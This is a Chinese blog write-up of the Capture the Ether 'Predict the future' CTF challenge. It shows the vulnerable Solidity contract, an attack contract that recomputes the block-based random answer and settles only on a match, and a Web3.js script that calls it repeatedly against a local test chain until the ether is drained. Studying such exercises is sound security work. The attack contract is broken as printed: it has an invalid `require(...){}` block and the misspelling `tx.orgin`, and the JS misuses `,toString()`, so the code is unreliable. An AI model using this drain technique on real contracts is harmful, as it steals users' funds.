抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Predict the future

1. 题目

  • 1.1 This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.

    Note that it is indeed possible to solve this challenge without losing any ether.

  • 1.2 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;

function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

2. 分析

  • 2.1 该题需要提前锁定答案,再验证答案(即,先调用 lockInGuess 函数再调用 settle 函数);很显然这样是猜不出来的,但是由 uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; 可知,answer 的值只用十个可能,即 [0,9]
  • 2.2 我们可以先确定我们自己设定的 answer ,改变题目要求中的 answer ,通过不断改变 block.number 和 时间戳来改变题目中的 answer (调用其他合约时,是在同一块区块中进行的,也就是为我们确定唯一的 block.number 和 时间戳)
  • 2.3 编写一个攻击合约,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract attack{
PredictTheFutureChallenge pre;
uint8 public answer=5;
function attack(address _addr)public{
pre = PredictTheFutureChallenge(_addr);
}
function lock()public payable{
pre.lockInGuess.value(1 ether)(answer);
}
function att()public{
uint8 temp = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if(temp == answer){
pre.settle();
}

require(pre.isComplete()){
tx.orgin.transfer(address(this).balance);
}
}

function()external payable{

}
}
  • 2.4 先锁定我们的答案(调用lock() 函数),不停的调用att() 函数,直到 PredictTheFutureChallenge 合约中的 isComplete 函数的值返回的是 true 或 合约的余额为 0

3. 解题

  • 3.1 使用 Web3解题(因为remix的bug实在是太多了),先在 remix部署合约,获取相对应的合约地址

tips:部署一个 attack 合约之后,如果执行了lock 函数就不能在不重新部署 PredictTheFutureChallenge合约的基础上使用新合约调用lock函数,因为guesser已经被赋值了,稍后的require 将不能通过

  • 3.2 在我的 vscode上面疯狂执行 att 函数,直到remix上 isComplete返回的值发生改变,合约的金额转移为止,如图:![image-20240412145108409](Predict the future/image-20240412145108409.png)

  • 3.3 在 vscode 上的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
let Web3 = require("web3");
web = new Web3(new Web3.providers.HttpProvider("Http://127.0.0.1:7545"));

var fs = require("fs");
var contractABI = JSON.parse(fs.readFileSync("D:\\VSCode\\VSCode_Data\\Web3Workspace\\js\\靶场\\capturetheether\\abi\\PredictTheFutureChallengeHack.abi"),toString());

// var contractADD = "0x80F5D36E412076Dd758961d729D8F84dc6c34A46";
var contractADD = "0xD52d9e548C6d18445a465dd08b5b2B47ca449Ee9"; // Hack_Address

var contract = new web.eth.Contract(contractABI,contractADD);

// console.log(contract);

var balance = web.eth.getBalance(contractADD,function(err,result){
console.log(result);
});
// console.log(balance);

// 00000000000000000000000580f5d36e412076dd758961d729d8f84dc6c34a46

var answer;
web.eth.getStorageAt(contractADD,0,(err,result)=>{
// answer = web.utils.hexToNumber(result);
console.log("这个是结果:" + result);
})

// contract.methods.lock().send({
// from: "0x3C061FCEb96fca484e8c55C204BAd35C6fE2CE0f",
// value: 1000000000000000000
// }).on("receipt",function(result){
// console.log(result);
// })


contract.methods.att().send({
from: "0x3C061FCEb96fca484e8c55C204BAd35C6fE2CE0f",
// value: 1000000000000000000
}).on("receipt",function(result){
console.log(result);
})

评论



政策 · 统计 | 本站使用 Volantis 主题设计